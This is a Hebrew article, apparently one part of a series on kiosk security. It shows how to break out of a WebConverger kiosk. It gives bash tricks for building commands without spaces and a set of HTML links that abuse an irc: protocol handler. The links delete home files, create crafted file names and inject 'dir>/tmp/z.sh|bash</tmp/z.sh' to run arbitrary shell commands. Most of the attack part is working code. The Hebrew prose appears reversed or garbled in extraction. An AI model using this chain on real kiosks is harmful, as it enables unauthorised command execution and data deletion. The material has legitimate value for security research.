  שביל להפריד בין פקודות על המחרוזת ואשתמש ברווח שלה ב ותרבה מניפולציבצע האאני

 .לפרמטרים

 לכדי פקודות ואריץ 3ודה שעשיתי באני יחבר את העב. 

 

 .להריץ פקודה שמביאה פלט באורך סטטי :משימה ראשונה

שלה תהיה זהה השורה הראשונה של הפלט , ניצול שטח הדיסק במערכת מידע על מחזירה dfהפקודה 

 :תמיד

Filesystem            Size  Used Avail Use% Mounted on 

/dev/sdb7              38G   22G   14G  62% / 

 

אם נקח , תווים 10היא באורך  Filesystemהמחרוזת , ור את הפלט של הפקודה לתוך משתנהנוכל לשמ

 .בנוסף לרווח שמגיע אחריה Filesystemמחרוזת את התווים נקבל  11הפלט מ

 :וצאה שנקבלכך שהת

files=$(df); 

str=${files:0:11}; 

c1=${str//Filesystem/firefox}; 

c2=${str//Filesystem/-jsconsole}; 

c3=${str//Filesystem/pkill}; 

c4=${str//Filesystem/watch}; 

($c1$c2);($c3$c4); 

 

 

 :הסבר קצר על הקוד

 11לוקחים את  .(אז הערך יקודדכי     a   ti לא באמצעות )לתוך מחרוזת  ונשמור dfאת הפקודה  נריץ

בשאר המשתנים פשוט ".  Filesystem"יהיה שווה לערך  str מהתוצאה כך שהמשתנה הראשוניםהתווים 

 ונריץ  -נחבר אותם, בפקודה או בפרמטר Filesystemנחליף את המילה 

 

מריצה  watchאך כיוון שהפקודה  .ללא כל שימוש ברווח Bashהטכניקה המתוארת עובדת מעולה בתוך 

 נאלץ, (תווים 11כלומר לקחת מהפלט  - {files:0:11$}שהוא שאלל שלא תומך בביצוע הפעולה ) SHדרך 

רעיון ) SH-תי להטכניקה המגניבה שפיתחאציג לפניכם את גהה לוכאן אני .. .להשתמש בדרך אחרת

  !!!@!!!אדיר לגמריייי  וזה פשוט( מקורי

 ![@#!!!השארנו את השורה האחרונה כמו שהיא מפני שזה באמת פשוט אדיר לגמריייי: של אפיק הערה]
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הבעיה הנוכחית  .התחלתי לחפש פתרון חילופי, SH-ב וע מניפולציה על מחרוזות לא עובדלאחר שביצ

כך , לכןקודם הצגתי כמו כאחרת לא יכול לגנוב אחד כזה מפלט של פקודה ואני גם , היא שאין לי רווח

 :בה ועבודה הגעתי לפתרון הבאלאחר הרבה מחש .שצריך לחשוב בכיוון אחר לגמרי

שיהווה מחרוזת המטרה הפעם היא להצליח ליצור פלט , גנוב רווח מפלט של פקודה מסויימתבמקום ל

  .להריץ -ואז ,ך קובץלהכניס אותה לתו. תקינה שהיא סקריפט

 

 :את ההכנסה לתוך קובץ וההרצה אני עושה בצורה הבאה 

command>>/tmp/script.sh|bash</tmp/script.sh 

 

 :כך אני מריץ באמצעות-ואחר TMPקודם אני מעביר את הפלט לתוך קובץ בתיקיית 

bash<file  

 

כי צריך רווח בשביל לתת פרמטר  -ןלא יכול להביא אותגם אני ו)מה שלא מצריך הרשאות הרצה לקובץ 

""+X ל-chmod.)... 

 

אני לא . א פקודה שמביאה לי פלט שאני יכול לשלוט עליו בלי לקבל שום פרמטרוה שלנוהנעלם במשוואה 

כל מיני פקודות הגעתי ל עלאחר שעברתי  .צריך רווח, שוב, כי print\printf\echo -יכול להשתמש ב

 :לפתרון הבא

 

 .תוך התיקיה הנוכחית לתוך הסקריפטניס את רשימת הקבצים באני הולך להכ

 :WebConvergerבתיקיית הבית של ההפצה 

webc@webconverger:~$ ls 

bg.png pb.sh 

 

 .לתוך קובץ ואז להריץ אותו” bg.png pb.sh"כך שנוכל להכניס את המחרוזת 

של קבצים כך שהם יופיעו יצור שמות ולא יביאו לי כלום אז נ, הקבצים האלו הם לא פקודות תקינותשמות 

 .פרמטר, פקודה; מטרפר, פקודה :לפי הסדר

 .ASCII-מסדרת לפי ה lsבגלל שהפקודה , של הקבצים שניצור יהיו לפי הסדר ASCII-יש להקפיד שה

 לבצעבשביל  .ית ולמחוק את הקבצים שכבר קיימיםליצור קבצים בתיקיית הב אנו צריכים ,אז קודם כל

 :פעולות הבאותה תאבצע נזאת 

 :כנס ללינקנ

irc:aa  
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. ”irc:aa"ניצור תיקיה בשם  ועל ידי כך - (bin/mkdir/: נפתח באמצעות ), mkdirונריץ אותו עם הפקודה 

בהתחלה נמחק את הקבצים שקיימים בתיקיית הבית  .נוכל לעבוד עם קבצים, לאחר שיצרנו את התיקיה

 :מראה lsשהפקודה 

rm "irc:aa/../pb.sh" 

rm "irc:aa/../bg.png" 

 .וכך מחקנו את הקבצים (bin/rm/: נפתח את הלינקים באמצעות)

 .ASCII-שבור את סדר המבלי ל מועיל/הסדר שלהם יצור קובץ סקריפט תקיןנשאר רק ליצור קבצים ש

 :הפקודה שניצור תיהיה כזאת

firefox -jsconsole| pkill watch 

 

הפקודה כל פעם  שאחרי על הפעלת watchונהרוג את התהליך  של פיירפוקס console-כך נריץ את ה

 : נפתח כל אחד מהלינקים דרך .כל פעם מחדש touchניצור את הקבצים באמצעות הפקודה  .מחדש

/"usr/bin/touch" 

touch "irc:aa/../firefox" 

touch "irc:aa/../-jsconsole|" 

touch "irc:aa/../pkill" 

touch "irc:aa/../watch" 

 

 :זה נראה בשטח לאחר שיצרנו את הקבצים נראה איך

webc@webconverger:~$ ls 

firefox  irc:aa -jsconsole|  pkill  watch 

 

 :ק אותה באמצעות נמח ,מפריעה לנו ואנחנו לא צריכים אותה יותר” irc:aa"התיקיה שיצרנו 

rmdir “irc:aa” 

 

 :יהיה שנקבל שורה חדשה במקום רווחוצאה תהת ""ls>fileנשתמש בפקודה אשר כ: עוד דבר מציק

webc@webconverger:~$ ls >/tmp/z.sh 

webc@webconverger:~$ cat /tmp/z.sh 

firefox 

-jsconsole| 

pkill 

watch 

 

מחזירה את השורה עם  bin/dir: /במיקום dirהפקודה  ,לאחר שבדקתי מספר פקודות !רווחאנחנו צריכים ו

  ך שקיבלנו שורה ישרה עם רווחיםכרווחים ולא ירידת שורה 

 

webc@webconverger:~$ dir >/tmp/z.sh 

webc@webconverger:~$ cat /tmp/z.sh 

firefox -jsconsole| pkill watch 
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נוכל להריץ הכל דרך לחיצה . watchדרך  "bash</tmp/z.sh"קובץ נריץ עם ה תאחרי שיש לנו א, עכשיו

 :יחה לפי הפקודות המתאימותסדר ופתעל הלינקים הבאים לפי ה

 

<a href="irc:aa">mkdir irc:aa => /bin/mkdir</a><br/> 

<a href="irc:aa/../pb.sh">rm -f irc:aa/../pb.sh => /bin/rm</a><br/> 

<a href="irc:aa/../bg.png">rm -f irc:aa/../bg.png => /bin/rm</a><br/> 

 

Create Files: <br/> 

<a href="irc:aa/../firefox">        touch irc:aa/../firefox => 

/usr/bin/touch </a><br/> 

<a href="irc:aa/../-jsconsole|">  touch irc:aa/../-jsconsole| => 

/usr/bin/touch  </a><br/> 

<a href="irc:aa/../pkill">            touch irc:aa/../pkill => 

/usr/bin/touch  </a><br/> 

<a href="irc:aa/../watch">         touch irc:aa/../watch => 

/usr/bin/touch </a><br/> 

 

Remove irc:aa 

 

<a href="irc:aa/../firefox">rmdir irc:aa => /bin/rmdir</a><br/> 

 

Make Script + Execute It :) 

 

<a href="irc:aa|dir>/tmp/z.sh|bash</tmp/z.sh"> 

Run & Owned By /usr/bin/Watch 

Make all files + make z.sh: 

firefox -jsconsole| pkill watch 

to file /tmp/z.sh + execute with bash</tmp/z.sh 

enjoy firefox Error Console :) 

</a> 

 

<h1> Owned - Work on SH! </h1> 

 

 . ייםאבל אני מקווה שלמדתם דבר או שנ -יש דרכים פשוטות ונקיות יותר, אז נכון

 סיכום

ממספר סוגים  דרכי ניצולסקרנו מספר , עד כה הצגנו את הנושא של עמדות קיוסקים אינטרקטיביות

 .נחשפים כאן לראשונה וחלק iKATחלק מהוקטורים מופיעים ונמצאים בשימוש בכלי , שונים

ניצול ) User Interface-ל הם שעד כה נשארנו ברמת ה"התקיפה שהוצגו בחלק הנ שיטותהמשותף לכלל 

ואסקור מצבי  Firefox-במאמר הבא נציג וקטורים מגוונים יותר ל .('קיצורי וכו כפתורי, דיאלוגים שונים

הקשחות , החלונות ברמת מנהל)אציג סקירה על דרכי ההגנה באופן מסודר  ,Operaקיוסק בדפדפן 

בהם ניתן להשתמש יפטים שפיתחתי שאציג מספר סקר, בנוסף(. והגבלות שקיימות במערכות שונות

אירגונית וזיהוי -ברשת הפנימ Webלמציאת ממשקי  Brute Forceכגון סקריפט לביצוע )מקרים שונים ב

 (.דרך הדפדפן FTPשרתי 


